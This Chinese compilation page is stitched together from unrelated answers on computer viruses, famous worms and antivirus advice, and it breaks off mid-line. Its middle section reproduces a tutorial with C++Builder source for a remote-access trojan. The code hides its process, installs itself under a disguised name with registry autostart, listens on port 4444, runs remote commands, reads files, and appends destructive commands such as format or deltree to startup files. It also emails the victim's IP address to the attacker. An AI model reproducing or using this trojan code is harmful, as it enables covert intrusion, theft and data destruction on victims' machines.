黑客電腦病毒圖片

A. 近幾年電腦病毒的介紹,和一些厲害黑客的介紹~~~

9949

B. 這圖片是病毒還是黑客入侵嗎

您好：

現在很多圖片都是可以攜帶病毒的，如果您的手機因為接受了不安全的圖片導致中毒的話，建議您使用騰訊手機管家對您的手機殺毒吧，首先需要您安裝騰訊手機管家到手機，您可以使用usb數據線將手機連接到電腦，然後打開騰訊電腦管家的軟體管理，在軟體管理裡面搜索騰訊手機管家，然後選擇騰訊手機管家後一鍵下載安裝到手機就可以，安裝好以後打開騰訊手機管家的安全防護，然後選擇病毒查殺後一鍵殺毒就可以。

騰訊電腦管家企業平台：http://..com/c/guanjia/

C. 著名電腦病毒名稱有哪些

「愛蟲」病毒、CIH病毒、Happy 99螟蟲、木馬病毒、黑客病毒、腳本病毒、宏病毒、後門病毒。

1、「愛蟲」病毒。

該病毒通過Microsoft Outlook電子郵件系統傳播的，郵件的主題為「I LOVE YOU」並包含一個附件。一旦在Microsoft Outlook里打開這個郵件，系統就會自動復制並向地址簿中的所有郵件地址發送這個病毒。

「愛蟲」病毒為一種蠕蟲病毒，可以改寫本地及網路硬碟上的某些文件，染毒以後郵件系統會變慢，並可能導致整個網路系統崩潰。

2、CIH病毒。

一個純粹的Windows 95/98病毒，通過軟體之間的相互拷貝、盜版光碟的使用和Internet的傳播而大面積傳染。CIH病毒發作時將用雜亂數據覆蓋硬碟前1024K位元組，破壞主板BIOS晶元，使機器無法啟動，徹底摧毀電腦系統。

3、Happy 99螟蟲。

一種自動通過Email傳播的病毒，如果單擊了它，就會出現一幅五彩繽紛的圖像，許多人以為是賀年卡之類的軟體。

它將自身安裝到Windows下並修改注冊表，下次啟動時自動載入。自此病毒安裝成功之後，發出的所有郵件都會有一個附件——Happy 99.exe，如果收信人單擊了此文件，那麼電腦就會中毒。

4、木馬病毒、黑客病毒。

木馬病毒其前綴是：Trojan，黑客病毒前綴名為Hack。木馬病毒的公有特性是通過網路或者系統漏洞進入用戶的系統並隱藏，然後向外界泄露用戶的信息，而黑客病毒則有一個可視的界面，能對用戶的電腦進行遠程式控制制。

木馬、黑客病毒往往是成對出現的，即木馬病毒負責侵入用戶的電腦，而黑客病毒則會通過該木馬病毒來進行控制。現在這兩種類型都越來越趨向於整合了。

5、腳本病毒。

腳本病毒的前綴是：Script。腳本病毒的公有特性是使用腳本語言編寫，通過網頁進行的傳播的病毒。腳本病毒還會有如下前綴：VBS、JS（表明是何種腳本編寫的），如歡樂時光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。

(3)黑客電腦病毒圖片擴展閱讀

電腦病毒不但本身具有破壞性，更有害的是具有傳染性，一旦病毒被復制或產生變種，其速度之快令人難以預防。傳染性是病毒的基本特徵。在生物界，病毒通過傳染從一個生物體擴散到另一個生物體。在適當的條件下，它可得到大量繁殖，並使被感染的生物體表現出病症甚至死亡。

同樣，電腦病毒也會通過各種渠道從已被感染的計算機擴散到未被感染的計算機，在某些情況下造成被感染的計算機工作失常甚至癱瘓。只要一台計算機染毒，如不及時處理，那麼病毒會在這台電腦上迅速擴散，電腦病毒可通過各種可能的渠道，如軟盤、硬碟、移動硬碟、計算機網路去傳染其他的計算機。

在一台機器上發現了病毒時，往往曾在這台計算機上用過的軟盤已感染上了病毒，而與這台機器相聯網的其他計算機也許也被該病毒染上了。是否具有傳染性是判別一個程序是否為電腦病毒的最重要條件。

D. 什麼是黑客什麼是電腦病毒是怎麼作的

什麼是計算機病毒
計算機病毒是一個程序，一段可執行碼。就像生物病毒一樣，計算機病毒有獨特的復制能力。計算機病毒可以很快地蔓
延，又常常難以根除。它們能把自身附著在各種類型的文件上。當文件被復制或從一個用戶傳送到另一個用戶時，它們就隨
同文件一起蔓延開來。

除復制能力外，某些計算機病毒還有其它一些共同特性：一個被污染的程序能夠傳送病毒載體。當你看到病毒載體似乎
僅僅表現在文字和圖象上時，它們可能也已毀壞了文件、再格式化了你的硬碟驅動或引發了其它類型的災害。若是病毒並不
寄生於一個污染程序，它仍然能通過占據存貯空間給你帶來麻煩，並降低你的計算機的全部性能。
可以從不同角度給出計算機病毒的定義。一種定義是通過磁碟、磁帶和網路等作為媒介傳播擴散,能「傳染」 其他程序
的程序。另一種是能夠實現自身復制且藉助一定的載體存在的具有潛伏性、傳染性和破壞性的程序。還有的定義是一種人為
製造的程序,它通過不同的途徑潛伏或寄生在存儲媒體（如磁碟、內存）或程序里。當某種條件或時機成熟時,它會自生復制
並傳播,使計算機的資源受到不同程序的破壞等等。這些說法在某種意義上借用了生物學病毒的概念,計算機病毒同生物病毒
所相似之處是能夠侵入計算機系統和網路,危害正常工作的「病原體」。它能夠對計算機系統進行各種破壞,同時能夠自我復
制, 具有傳染性。
所以, 計算機病毒就是能夠通過某種途徑潛伏在計算機存儲介質（或程序）里, 當達到某種條件時即被激活的具有對計
算機資源進行破壞作用的一組程序或指令集合。

參考：http://www.eboss.com/pages/winfile/FaQ/bing.html

木馬是如何編寫的（一）
武漢 周侃
特洛依木馬這個名詞大家應該不陌生，自從98年「死牛崇拜」黑客小組公布Back Orifice以來，木馬猶如平地上的驚雷，使在Dos??Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒，終於認識到的網路也有它邪惡的一面，一時間人心惶惶。
我那時在《電腦報》上看到一篇文章，大意是一個菜鳥被人用BO控制了，嚇得整天吃不下飯、睡不著覺、上不了網，到處求救！呵呵，要知道，木馬（Trojan）的歷史是很悠久的：早在AT&T Unix和BSD Unix十分盛行的年代，木馬是由一些玩程式（主要是C）水平很高的年輕人（主要是老美）用C或Shell語言編寫的，基本是用來竊取登陸主機的口令，以取得更高的許可權。那時木馬的主要方法是誘騙??先修改你的.profile文件，植入木馬；當你登陸時將你敲入的口令字元存入一個文件，用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的，對網路可以說很陌生。直到Win9x橫空出世，尤其是WinNt的普及，大大推動了網路事業的發展的時候，BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬（甚至在Win9x的「關閉程序」對話框可以看到進程）給了當時中國人極大的震撼，它在中國的網路安全方面可以說是一個劃時代的軟體。
自己編寫木馬，聽起來很Cool是不是？！木馬一定是由兩部分組成??伺服器程序（Server）和客戶端程序（Client），伺服器負責打開攻擊的道路，就像一個內奸特務；客戶端負責攻擊目標，兩者需要一定的網路協議來進行通訊（一般是TCP/IP協議）。為了讓大家更好的了解木馬攻擊技術，破除木馬的神秘感，我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬，使大家能更好地防範和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi，這里我們選用C++Builder（以下簡稱BCB）；VC雖然好，但GUI設計太復雜，為了更好地突出我的例子，集中注意力在木馬的基本原理上，我們選用可視化的BCB；Delphi也不錯，但缺陷是不能繼承已有的資源（如「死牛崇拜」黑客小組公布的BO2000源代碼，是VC編寫的，網上俯拾皆是）；VB嘛，談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎？
啟動C++Builder 5.0企業版，新建一個工程，添加三個VCL控制項：一個是Internet頁中的Server Socket，另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序，可以對外服務（對攻擊者敞開大門）。Socket最初是在Unix上出現的，後來微軟將它引入了Windows中（包括Win98和WinNt）；後兩個控制項的作用是用來使程序具有FTP（File Transfer Protocol文件傳輸協議）和SMTP（Simple Mail Transfer Protocol簡單郵件傳輸協議）功能，大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
Form窗體是可視的，這當然是不可思議的。不光佔去了大量的空間（光一個Form就有300K之大），而且使軟體可見，根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form，就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form，首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘，其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此，只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程（Service Process）就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有，那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt：
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x，不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
file://卸載動態鏈接庫
}
}
這樣就終於可以隱身了（害我敲了這么多代碼！）。為什麼要判斷操作系統呢？因為WinNt中的進程管理器可以對當前進程一覽無余，因此沒必要在WinNt下也使用以上代碼（不過你可以使用其他的方法，這個留到後面再講）。接著再將自己拷貝一份到%System%目錄下，例如：C:\Windows\System，並修改注冊表，以便啟動時自動載入：
{
char TempPath[MAX_PATH];
file://定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小，得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
file://格式化TempPath字元串，使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://將自己拷貝到%System%目錄下，並改名為Tapi32.exe，偽裝起來
Registry=new TRegistry;
file://定義一個TRegistry對象，准備修改注冊表，這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就創建之
try
{
file://如果以下語句發生異常，跳至catch，以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有「crossbow」字樣的鍵值，並且是否為拷貝的目錄%System%+Tapi32.exe
file://如果不是，就寫入以上鍵值和內容
}
catch(...)
{
file://如果有錯誤，什麼也不做
}
}

好，FormCreate過程完成了，這樣每次啟動都可以自動載入Tapi32.exe，並且在「關閉程序」對話框中看不見本進程了，木馬的雛形初現。
接著選中ServerSocket控制項，在左邊的Object Inspector中將Active改為true，這樣程序一啟動就打開特定埠，處於伺服器工作狀態。再將Port填入4444，這是木馬的埠號，當然你也可以用別的。但是你要注意不要用1024以下的低端埠，因為這樣不但可能會與基本網路協議使用的埠相沖突，而且很容易被發覺，因此盡量使用1024以上的高端埠（不過也有這樣一種技術，它故意使用特定埠，因為如果引起沖突，Windows也不會報錯 ^_^）。你可以看一看TNMFTP控制項使用的埠，是21號埠，這是FTP協議的專用控制埠（FTP Control Port）；同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項，點擊Events頁，雙擊OnClientRead事件，敲入以下代碼：
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定義了一堆待會兒要用到的變數
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一個文本文件Win369.bat，作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客戶端（攻擊者，也就是你自己）傳來的數據
}
好，大門敞開了！接著就是修改目標機的各種配置了！^_^ 首先我們來修改Autoexec.bat和Config.sys吧：
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
file://得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將第11個字元轉換成integer型，存入file_name變數
file://為什麼要取第11個字元，因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
file://餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
file://定義計數器
while(fp==NULL)
{
file://如果指針是空
fp=fopen(filename,"a+");
file://如果文件不存在，創建之；如果存在，准備在其後添加
file://如果出錯，文件指針為空，這樣就會重復
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了，仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫入添加的語句，例如deltree/y C:或者format/q/autotest C:，夠毒吧？！
fclose(fp);
file://寫完後關閉目標文件
Socket->SendText("Sucess");
file://然後發回「Success」的成功信息
}
}

上回我們講到如何修改目標機上的啟動配置文件，這回我們就來查看目標機上的目錄樹和文件吧，這在客戶端上使用「dir」命令，跟著敲?：
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3個字元是「dir」
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字元串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://從字元串第六個字元開始，將後面的字元存入Dir_Name變數，這是目錄名
if(Dir_Name=="")
{
file://如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
file://返回「Fail By Open DIR's Name」信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
file://返回「Fail By Your DIR's Name」信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指針是NULL
fp=fopen(TempFile,"w+");
file://就創建system\Win369.bat准備讀和寫；如果此文件已存在，則會被覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了，仍未成功（真有耐心！）
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最後一個字元不是「\」，證明不是根目錄
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上「\」字元後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目錄，則不用加「\」
attrib=_rtl_chmod(filename, 0);
file://得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
file://「&」字元是比較前後兩個變數，如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
file://將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
file://失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
file://失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
file://寫入換行
}
fclose(fp);
file://關閉文件
closedir(dir);
file://關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打開Win369.bat准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了，仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義的一個空數組
Read_Num=fread(temp_content,1,300,fp1);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
fclose(fp1);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text變數的內容
}
}
夠長吧？！察看目錄樹這么費勁啊？！你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了，Client將使用「type」命令，（手指累不累啊？）：
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4個字元是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://將目標文件流存入File_Name變數中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打開目標文件准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已試了100次了
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的錯誤信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義一個空數組
Read_Num=fread(temp_content,1,300,fp);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
fclose(fp);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text的內容，即你查看文件的內容
}
}
咳咳！累死了！還是來點輕松的吧??操縱目標機的光碟機（注意：mciSendString()函數的聲明在mmsystem.h頭文件中）：
{
else if(temp=="open")
{
file://如果收到的temp的內容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就彈出光碟機的托盤
}
else if(temp=="close")
{
file://如果收到的temp的內容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光碟機的托盤。當然你也可以搞個死循環，讓他的光碟機好好活動活動！^_^
}
}
接著就是交換目標機的滑鼠左右鍵，代碼如下：
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交換滑鼠左右鍵，簡單吧？
}
}
然後就是使目標機重新啟動。但這里要區分WinNt和Win9x??NT非常注重系統每個進程的權利，一個普通的進程是不應具備有調用系統的權利的，因此我們要賦予本程序足夠的許可權：
{
else if(temp=="reboot")
{
file://如果收到的temp的內容是「temp」
DWORD dwVersion = GetVersion();
file://得到操作系統的版本號
if (dwVersion < 0x80000000)
{
file://操作系統是WinNt，不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定義變數
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
file://GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改進程的許可權
tkp.PrivilegeCount = 1;
file://賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://強行退出Win9x並重啟
}
}
如果以上都不是，就讓它在Dos窗口中執行傳來的命令：
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://創建Win369.bat，如果已存在就覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://寫入換行符
fclose(fp);
file://關閉Win369.bat
system(TempFile);
file://執行Win369.bat
Socket->SendText("Success");
file://返回「Success」信息
}
}
你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網路狀況（判斷是否是一個企業的區域網），然後可以進一步攻擊，比如Deltree和Format命令。^_^

到此，伺服器程序的功能已全部完成，但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友，別走開！（未完待續）
木馬是如何編寫的（三）
武漢 周侃
上次已編寫完伺服器端的各種功能，但還差容錯部分還未完成,下面我們Go on! 其代碼如下（照敲不誤 ^_^）：
{
END:;
Socket->Close();
file://關閉服務
ServerSocket1->Active =true;
file://再次打開服務
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP伺服器已連接則斷開
NMSMTP1->Host = "smtp.163.net";
file://選一個好用的SMTP伺服器，如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次連接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]";
file://將信發到我的郵箱，這一步很關鍵
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的內容提示你「伺服器正在運行」，並且告訴你受害者的目前的IP地址，以便連接
NMSMTP1->PostMessage->Subject = "Server Runn

E. 道日報】最可怕的10大電腦病毒，你知道嗎

對於很多人來說，電腦中毒就是一場噩夢。硬碟數據被清空，網路連接被掐斷，好好的機器變成了毒源，開始傳染其他電腦。當然，如果你的電腦沒有中過毒，也許會認為這不值得大驚小怪。但您可千萬不要掉以輕心，有報告顯示，僅2008年，電腦病毒在全球造成的經濟損失就已高達85億美元[資料來源：MarketWatch]。電腦病毒可以說是網路世界最嚴重的的危害。
電腦病毒已經出現很多年了。1949年，科學家約翰·馮·諾依曼聲稱，可以自我復制的程序並非天方夜譚[資料來源：Krebs]。那時計算機科學剛剛起步，可是已經有人想出破壞電腦系統的基本原理。不過直到幾十年後，黑客們才開始真正編制病毒。
雖然早有人在大型電腦上製造出類似病毒的程序，但直到個人電腦開始普及，計算機病毒才引起人們的注意。一個名為弗雷德·科恩（Fred Cohen）的博士生首先把這種修改電腦設置並能自我復制的程序稱為病毒，這個稱呼一直沿用到今天。
下面我們將帶您回顧史上最厲害的十種病毒。
10.梅莉莎病毒
1998年春天，大衛·L·史密斯（David L. Smith）運用Word軟體里的宏運算編寫了一個電腦病毒，這種病毒可以通過郵件進行傳播。史密斯把它命名為梅麗莎（Melissa），佛羅里達州的一位舞女的名字[資料來源：CNN]。
梅麗莎病毒一般通過郵件傳播，郵件的標題通常為「這是給你的資料，不要讓任何人看見」。一旦收件人打開郵件，病毒就會自動向用戶通訊錄的前50位好友復制發送同樣的郵件。
史密斯把它放在網路上之後，這種病毒開始迅速傳播。美國聯邦調查局給國會的報告顯示，梅麗莎對政府部分和私營部門的網路造成了毀滅性打擊，美國聯邦政府很重視這件事[資料：FBI]。電子郵件流量的劇增迫使很多公司停止了郵件服務，直到病毒得到控制才重新開放。
經過漫長的審判，史密斯被叛20個月的監禁，同時被處5000美元罰款。另外，未經法庭允許，史密斯不得擅自使用網路[資料：BBC]。梅麗莎雖然沒有對社會造成很大的危害，但它是第一個引起全社會關注的電腦病毒。
9.愛蟲病毒
梅麗莎病毒爆發一年後，菲律賓出現了一種新的病毒。與梅麗莎不同的是，這次出現的是蠕蟲病毒，具有自我復制功能的獨立程序。這個病毒的名字叫「我愛你（ILOVEYOU）」。
和梅麗莎相似，愛蟲病毒最初也是通過郵件傳播。標題通常會說明，這是一封來自您的崇拜者的表白信。郵件中的附件則是罪魁禍首。這種蠕蟲病毒最初的文件名為LOVE-LETTER-FOR-YOU.TXT.vbs。後綴名vbS表明黑客是使用VB腳本編寫的這段程序[資料：McAfee]。
根據殺毒廠商McAfee的報告顯示，愛蟲病毒具有以下攻擊手段：
它會自我復制，在硬碟的各個分區都有隱藏備份。
它會在用戶的注冊表裡面添加新內容。
自我復制，然後自動替換某些文件。
通過郵件以及聊天客戶端進行傳播
自動下載一個名為WIN-BUGSFIX.EXE的補丁，這個補丁會竊取用戶私密信息並發送給黑客。
到底是誰製造了這種病毒？很多人懷疑是菲律賓的奧尼爾?狄?古茲曼。由於當時菲律賓沒有制定電腦破壞的相關法律，當局只得以盜竊罪的名義傳訊了狄?古茲曼。古茲曼沒有承認或者否認關於病毒的指控，最終由於缺乏確鑿的證據，當局被迫釋放了古茲曼。根據媒體估計，愛蟲病毒造成大約100億美元的損失。
8.求職信病毒
求職信病毒(Klez)病毒傳播的里程碑。這種病毒最早出現於2001年，幾個月後出現了很多變種。最常見的求職信病毒通過郵件進行傳播，然後自我復制，同時向受害者通訊錄里的聯系人發送同樣的郵件。
一些變種求職信病毒甚至會對電腦產生致命性破壞。根據版本不同，求職信病毒可以分為普通病毒，蠕蟲或者木馬。有些甚至會強行關閉殺毒軟體或者偽裝成病毒清除工具[資料：Symantec]。
求職信病毒在網路上出現不久，黑客們就對它進行了改進，使它傳染性更強。與很多病毒一樣，求職信病毒也會使用受害者的通訊錄向聯系人發送同樣的郵件。另外，它還能從中毒者的通訊錄里隨機抽選一個人，將該郵件地址填入發信人的位置。這就是郵件地址欺騙——看起來郵件是您的某個熟人寄來的，實際上卻是其他人發的。
偽裝郵件地址是為了達到以下幾個目的。首先，收信人就算阻止了發件人也沒用，因為郵件是其他人發來的。其次，由於用戶無法辨別郵件是否是垃圾郵件，求職信病毒會在短時間內造成收信人郵箱堵塞。另外，由於發信人是郵件列表中的聯系人，所以很多人都會打開郵件而導致中毒。
7.紅色代碼和紅色代碼Ⅱ
紅色代碼（Code Red）和紅色代碼Ⅱ出現於2001年的夏天。這兩種蠕蟲病毒都利用了在Windows 2000和Windows NT中存在的一個操作系統漏洞，即緩沖區溢出漏洞，當系統緩存器接收到超過它處理范圍的數據時，數據會溢出覆蓋相鄰的存儲單元，使其他程序不能正常運行，甚至造成系統崩潰。
最初的紅色代碼蠕蟲病毒利用分布式拒絕服務攻擊（DDOS）對白宮網站進行攻擊。也就是說，所有感染紅色代碼病毒的電腦都會在同一時間內連接白宮網站，使伺服器超載，網站崩潰。
安裝了Windows 2000系統的電腦如果中了紅色代碼Ⅱ，機子就會變成「肉雞」。蠕蟲病毒會在系統中建立後門程序，從而允許遠程用戶登陸和控制。計算機術語就是系統控制，對於電腦的主人來說，這是個噩耗。病毒的散發者可以利用受害者的電腦獲取某些信息，甚至利用這台電腦進行犯罪活動。受害者不僅要為癱瘓的電腦發愁，還有可能因為成為別人的替罪羊。
雖然Windows NT更易受紅色代碼的感染，但是病毒在這些機器上的危害並不是很嚴重。使用Windows NT的網路伺服器中毒後可能經常死機，但不會產生其它危害。與Windows 2000的用戶相比，這其實算不了什麼。
微軟隨後放出補丁修復了Windows 2000和Windows NT中的安全漏洞，至此，病毒不再肆虐。但是補丁並沒有清除電腦里的病毒，這需要用戶自己處理。
我應該怎麼做？
發現電腦中毒後，您應該怎麼做呢？這需要視具體情況而定。很多殺毒軟體會自動把病毒清除。有的病毒會破壞你的數據或者資料，這時就需要恢復備份了。經常對系統進行備份是很重要的。對於紅色代碼來說，格式化然後用備份恢復電腦是個不錯的方法。有些病毒會在電腦上安裝一些惡意軟體，這時候僅僅是防病毒掃描是不夠的。
6.尼姆達
另外一種病毒也在2001年出現，這就是尼姆達（Nimda，管理員（admin）的倒拼）。尼姆達通過互聯網迅速傳播，是那時傳播最快的病毒。TruSecure公司首席技術官彼得?蒂皮特表示，尼姆達從開始散播到大規模爆發只用了22分鍾。
Symbian骷髏病毒感染手機，導致手機出現一堆骷髏圖片。
SMobile 操作系統
Symbian骷髏病毒感染手機，導致手機出現一堆骷髏圖片。
尼姆達病毒的主要攻擊目標是互聯網伺服器。當病毒感染電腦後，它的主要目的是利用網路進行傳播。尼姆達可以通過郵件等多種方式進行傳播，這也是它能夠迅速大規模爆發的原因。
尼姆達病毒會在用戶的操作系統中建立一個後門程序，使侵入者擁有當前登陸賬戶的許可權。換言之，如果用戶使用的是受限賬戶登陸的話，侵入者的許可權也將是受限的。當然，如果用戶使用管理員賬戶，侵入者也將擁有管理員許可權。
